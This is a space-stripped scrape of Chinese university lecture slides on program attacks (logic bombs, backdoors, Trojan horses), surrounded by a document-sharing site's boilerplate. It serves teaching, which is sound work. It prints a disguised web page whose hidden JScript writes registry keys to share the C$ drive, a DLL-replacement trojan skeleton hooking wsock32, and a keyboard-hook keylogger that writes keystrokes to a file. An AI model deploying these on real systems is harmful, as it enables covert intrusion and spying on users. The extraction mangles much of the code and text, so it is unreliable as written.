版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
网络安全罗敏武汉大学计算机学院
jsjgfzx@1第5章缓冲区溢出攻击回顾缓冲区溢出攻击的基本原理、方法缓冲区溢出程序的原理及要素攻击UNIX攻击WINDOWS2第6章程序攻击本章列出了常用的程序攻击方法,介绍了逻辑炸弹、后门、病毒及特洛伊木马等的概念和特点,并用实例说明工作原理,提供和分析了部分代码以便更深入地学习和了解技术原理。3第6章程序攻击6.1逻辑炸弹攻击6.2
植入后门6.3
病毒攻击6.4
特洛伊木马攻击6.5
其它程序攻击4
逻辑炸弹攻击定义一种隐藏于计算机系统中以某种方式触发后对计算机系统硬件、软件或数据进行恶意破坏的程序代码触发方式时间触发、特定操作触发、满足某一条件的触发等第6章第1节5
逻辑炸弹攻击特征隐蔽性:逻辑炸弹一般都比较短小,容易附着在系统或文件上而不容易察觉,也可能被恶意隐藏在一些常用工具软件代码中攻击性:逻辑炸弹都具有攻击性,一旦被激发,或是干扰屏幕显示,或降低电脑运行速度,或是删除程序,破坏数据逻辑炸弹没有“传染性”第6章第1节6
植入后门定义后门是计算机入侵者攻击网上其它计算机成功后为方便下次进入这台被攻击计算机而采取的一些欺骗手段和程序目的再次进入、不被发现健壮性第6章第2节7
植入后门攻击方法获取尽可能多的用户口令,并不会被管理员察觉或查封更改配置例如:rhosts替换程序(包括源代码,函数库,内核)要点:时间、校验和开设新的服务,定时开启服务第6章第2节8
植入后门隐藏代码:坏扇区,Boot通讯:TCP,UDP和ICMPShell后门:TCP/UDP/ICMP第6章第2节9
植入后门隐藏执行DLLRundll32.exeDllcache动态嵌入挂接API,全局钩子(HOOK),远程线程第6章第2节10
植入后门Unix后门netcatncpbshVetescan后门软件http://
第6章第2节11
病毒攻击详见第13章网络病毒防治第6章第3节12
特洛伊木马攻击定义特洛伊木马,简称木马,英文名为Trojanhorse计算机领域的“特洛伊木马(Trojan)”,是指附着在应用程序中或者单独存在的一些恶意程序,它可以利用网络远程响应网络另一端的控制程序的控制命令,实现对感染木马程序的计算机的控制,或者窃取感染木马程序的计算机上的机密资料。第6章第4节13
特洛伊木马攻击工作原理木马程序一般利用TCP/IP协议,采用C/S结构,分为客户端和服务器端两个部分服务器端程序运行于被攻击的计算机上,而客户端程序在控制者的计算机上运行客户端程序可以同时向很多服务端程序发送命令以控制这些计算机。客户端程序一般提供友好的操作界面,以便于用户的操作,其功能可能很多第6章第4节14
特洛伊木马攻击功能分类远程访问型木马密码发送型木马键盘记录型木马毁坏型木马FTP型木马第6章第4节15
特洛伊木马攻击通讯分类主动型木马反弹型木马嵌入式木马第6章第4节16
特洛伊木马攻击冰河文件浏览器屏幕监视键盘鼠标控制其它控制支持配置glacier第6章第4节17
特洛伊木马攻击反弹型木马它利用防火墙对内部发起的连接请求无条件信任的特点,假冒是系统的合法网络请求与木马的客户端建立连接,从而达到对被攻击计算机控制的目的第6章第4节18
特洛伊木马攻击网络神偷远程文件访问,而不是远程控制反弹端口HTTP隧道服务器端上线通知功能通讯加密第6章第4节19
特洛伊木马攻击嵌入式木马嵌入网页的共享式木马<html> <head> <title>共享木马</title> </head> <script> functionkillErrors() {returntrue;} </script>第6章第4节20
<scriptlanguage=JScript> document.write("<APPLETHEIGHT=0WIDTH=0code=com.ms.activeX.ActiveXComponent></APPLET>");functionmmain(){try{
aa=document.applets[0]; aa.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0b}");
aa.createInstance();
commandsh=aa.GetObject();{commandsh.RegWrite("HKLM\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\C$\\Flags",302,"REG_DWORD");commandsh.RegWrite("HKLM\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\C$\\Type",0,"REG_DWORD"); commandsh.RegWrite("HKLM\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\C$\\Path","C:\\");第6章第4节21
} } catch(e){} } functionstart(){setTimeOut("mmain()",1000);} start(); </script> <bodybgcolor=#FFFFFFtopmargin=0leftmargin=0> <p>你好。。。。。。。</p><p>全世界最好的网页</p> </body></html>第6章第4节22
特洛伊木马攻击嵌入式木马DLL木马替换系统原有DLL,模仿原有功能,并加入后门#include<windows.h>#include<stdio.h>#include<winsock.h>voidmuma_thread(){ //生成木马的服务器线程
………}//…..必须输出与原wsock32.dll库同样的函数第6章第4节23BOOLWINAPIDllMain(HANDLE
hInst,ULONGulReasonForCall,LPVOIDlpReserved){//装载原动态库if(i==NULL){ i=LoadLibrary(wsock32.dle);}else return1;if(i!=NULL){//取得与原同名函数地址a=GetProcAddress(I,”send”);send1=(int(_stdcall*)(SOCKET,constchar*,int,int))a;a=GetProcAddress(I,”recv”);recv1=(int(_stdcall*)(SOCKET,constchar*,int,int))a;}第6章第4节24else return0;………………替换原来的所有函数导出,以确保程序运行正常。}intPASCALFARsend(SOCKETs,constchar*buf,int
len,intflags){ ……完成send函数的功能}intPASCALFARrecv(SOCKETs,charFAR*buf,int
len,intflags){ ……完成recv函数的功能}第6章第4节25
特洛伊木马攻击木马的实现技术自动启动技术隐藏技术远程监控技术
第6章第4节26
特洛伊木马攻击木马的实现技术自动启动技术启动组、win.ini、system.ini、注册表第6章第4节27
特洛伊木马攻击木马的实现技术隐藏技术任务栏任务管理器服务管理器DLL替换远程线程第6章第4节28
特洛伊木马攻击木马的实现技术远程监控技术对对方计算机的监视包括对对方主机的鼠标、键盘以及屏幕显示甚至网络通讯流量流向等的监视,也包括对对方计算机系统信息(包括磁盘信息、操作系统信息及硬件信息)的搜集
远程控制则是攻击者控制目标机按照自己的意愿在被攻击计算机上运行程序或者关闭对方的功能,包括控制对方的鼠标、键盘、操作系统,在对方计算机上启动服务,或者关闭对方计算机等第6章第4节29
特洛伊木马攻击键盘型木马extern"C"BOOL_declspec(dllexport)__stdcall
installhook(){ FILE*f1=NULL; f1=fopen("e:\\hook.txt","w"); fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0); returnTRUE;}第6章第4节30HHOOK hkb;LRESULT__declspec(dllexport)__stdcallCALLBACKKeyboardProc(int
nCode,WPARAMwParam,LPARAM
lParam){ charch; if(((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode)) {
if((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f)&&(wParam<=0x100)) { FILE*f1; f1=fopen("e:\\hook.txt","a+");//打开文件
if(wParam==VK_RETURN) {
ch='\n';
fwrite(&ch,1,1,f1);//将键盘按键的字母写入文件
}第6章第4节31
else { BYTEks[256];
GetKeyboardState(ks); WORDw; UINTscan; scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch=char(w);
fwrite(&ch,1,1,f1);//将键盘按键的字母写入文件
} fclose(f1); } } LRESULTRetVal=CallNextHookEx(hkb,nCode,wParam,lParam); returnRetVal;}第6章第4节32BOOL_declspec(dllexport)UnHook(){ BOOLunhooked=UnhookWindowsHookEx(hkb); return unhooked;}//*.h中声明如下LRESULT__declspec(dllexport)__stdcallCALLBACKKeyboardProc(
int
nCode,WPARAMwParam,LPARAMlParam);extern"C"BOOL_declspec(dllexport)__stdcall
installhook();第6章第4节33
其它程序攻击邮件炸弹与垃圾邮件
常用攻击工具upyours4、KaBoom3、H
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 吉林省白山市2027届八上数学期末综合测试试题含解析
- 房屋经纪公司年中工作总结述职报告
- 直线与椭圆的位置关系分析-黄色-东方美学
- 兰州本地装修公司:本土自营、连锁分店、施工队对比
- 新人教版小学语文三年级下册《卖木雕的少年》
- T/GDSHJXH 001-2020黄金回收技术规程
- 电讯公司文秘述职报告
- 安徽省宿州市十三校2027届七上数学期末经典试题含解析
- 2026金属量子点制备技术及生物检测市场机遇
- 2026下半年高中化学教资面试结构化问答题库
- 2026年云南省中考化学试卷(含答案)
- 媒体发展史资料
- 2026年及未来5年市场数据中国超休闲游戏行业发展潜力预测及投资战略、数据研究报告
- 2026年低空经济与文旅融合方案与项目创新设计
- 工业大数据与人工智能 课件全套 第1-7章 绪论、工业大数据-工业大数据与人工智能应用
- 实施指南(2025)《JB-T 13222-2017固体材料原位拉伸-扭转复合力学性能测试系统》
- 9《天上有颗南仁东星》第二课时 (共27张)+公开课一等奖创新教学设计+学案
- 骨折的包扎与固定课件
- 渣土车安全知识培训课件
- 地震勘探原理培训课件
- 设计开发变更管理制度
评论
0/150
提交评论